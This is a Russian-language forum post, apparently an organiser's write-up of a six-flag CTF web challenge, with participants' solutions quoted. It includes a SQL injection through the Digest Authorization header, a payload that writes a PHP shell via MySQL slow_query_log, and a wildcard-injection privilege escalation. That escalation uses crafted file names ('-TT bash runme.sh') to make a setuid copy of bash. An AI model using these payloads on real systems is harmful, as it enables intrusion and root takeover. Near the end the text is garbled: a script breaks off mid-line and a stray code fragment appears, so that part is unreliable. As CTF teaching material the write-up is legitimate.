Да, конечно, write-up ниже
Небывалую упертость в поисках флагов показали
Gorbachev,
MichelleBoxing,
Franky_T,
BillyBons отдельное вам спасибо ! Что-то издалека похожее на 5 флагов присылал
BabaDook
Сайт на голом html, открываем панель разработчика. сплошная статика. только один css файл, в котором подгружается картинка из админки
flag 1.
/style.css
Код:
...
background:url(/admin_j458hj45ad/login.jpg)
/* {flag 1} - hackedbymarysa */
никогда не забывайте просматривать .css и .js файлы, в них можно найти много полезной инфы от админки до скрытых уязвимых сценариев
flag 2.
/admin_j458hj45ad/.htaccess
Код:
RewriteEngine off
Deny from all
Allow from all
Require all granted
# {flag 2} - marusya4ever
кривые регулярки - находка для сканнеров
flag 3.
/admin_j458hj45ad/upload.php3
Код:
if(!isset($_SESSION["admin"])) header("Location: admin_secret_login.php3");
при попытке открыть upload вас перекидывало на админку. но выполнение сценария продолжалось. не забывайте юзать curl/burp во время пентеста
решение #1
решение #2
Сообщение от
MichelleBoxing
↑
зашел на страницу через guest:guest
flag 4.
/admin_j458hj45ad/admin_secret_login.php3
Код:
function logging($url,$ip){
...
$query = "SELECT count(*) FROM adminlog WHERE ip='$ip';";
$query .= "INSERT INTO adminlog VALUES ('$url','$ip');";
$mysqli->multi_query($query);
скрытая SQLI. Админ логировал обращение к админке и IP адрес в базу данных, данные брались прямо из хидер заголовка
прохождение:
Сообщение от
istefy
↑
в подсказке мы можем увидеть кусок логов:
185.98.6.66 - - [19/Mar/2019:11:10:15 +0000] "GET /admin_j458hj45ad/admin_secret_login.php3?username=test'&realm=ADMIN AREA&nonce=5c84f4cac9da4&url=/admin_secret_login.php3&response=edbf607287ed31322 f414b5b2e85327e&opaque=083d15b45f53f59b2c020d5d955 63e1e&qop=auth&nc=00000003&cnonce=34af9eb675b7cb93 HTTP/1.1" 401 545 "-" "Marusa/5.0 (WindowsFuture NT 10.0; win15; x256)"
185.98.6.66 - - [19/Mar/2019:11:10:23 +0000] "GET /admin_j458hj45ad/admin_secret_login.php3 HTTP/1.1" 401 540 "-" "Marusa/5.0 (WindowsFuture NT 15.0; win15; x256)"
в первой строчке username=test' можно сделать вывод что хакер подбирал sql-инъекцию. Так как во второй строчке уже нет параметров но размер ответа другой можно сделать вывод что инъекция в заголовке, перебирая заголовки находим инъекцию в заголовке Authorization в параметре url:
Authorization: Digest username="test'", realm="ADMIN AREA", nonce="5c84f4cac9da4", uri="/admin_secret_login.php3'", response="edbf607287ed31322f414b5b2e85327e", opaque="083d15b45f53f59b2c020d5d95563e1e", qop=auth, nc=00000003, cnonce="34af9eb675b7cb93"
flag 5.
SQLI на 99% слепая, даже sleep не помогал участникам определить результат выполнения команды
Требовалось записать шелл с рутовыми правами без rw дирректорий в файл, залитый с помощью флага #3
многие не поверили что скуля настоящая, кто-то крашил таблицу, кто-то вообще вырубал mysql с помощью ;SHUTDOWN; (и наблюдал error)
когда стало понятно, что скуля настоящая
почти все, кому удалось покорить флаг сделали это через slow_query_log или general_log_file
условный poc:
Сообщение от
None
',1); select '';SET GLOBAL slow_query_log = 'ON';slow_query_log = /var/www/html/upload/images/sess/1.php;select sleep(20);-- 1
flag 6. Сам флаг создан с правами маруси. Значит нужны права маруси
Код:
4901 -rwx------ 1 marusya marusya 14 Feb 25 12:45 flag6.txt
заходим в ее домашний каталог, замечаем что файл
Код:
2638459 -rw-r--r-- 1 marusya marusya 204 апр 8 11:38 /home/marusya/checksize.zip
обновляется каждую минуту
особо внимательные заметили в процессах запуск
Код:
2633670 -rwxr-xr-x 1 root root 59 мар 19 17:02 cron/clear.php
простым решением было написать логгер в кронтаб
Код:
* * * * * ps aux | grep marusya > /tmp/1.txt
кто-то оказался слишком брутальным
Код:
www-data 17323 98.4 0.1 11216 2080 ? R 21:56 1:10 grep -r marusya /
видим запуск /usr/bin/checksize от marusya, там:
[CODE]
cd /var/www/html/upload/images/;
file=/home/marusya/checksize.zip
zip -r -9 ~/checksize.zip *
sleep 2
minimumsize=12000000
actualsize=$(wc -c runme.sh
touch -- '-TT bash runme.sh'
touch -- '--test'
[/QUOTE]
" if author else f"
gurux13 said:
↑
echo 'cp /bin/bash /tmp/iamthegod; chmod +s /tmp/iamthegod' > runme.sh
touch -- '-TT bash runme.sh'
touch -- '--test'
//добавлено
про wildcard символ можно почитать
https://www.hackingarticles.in/explo...ge-escalation/
https://www.defensecode.com/public/D..._Gone_Wild.txt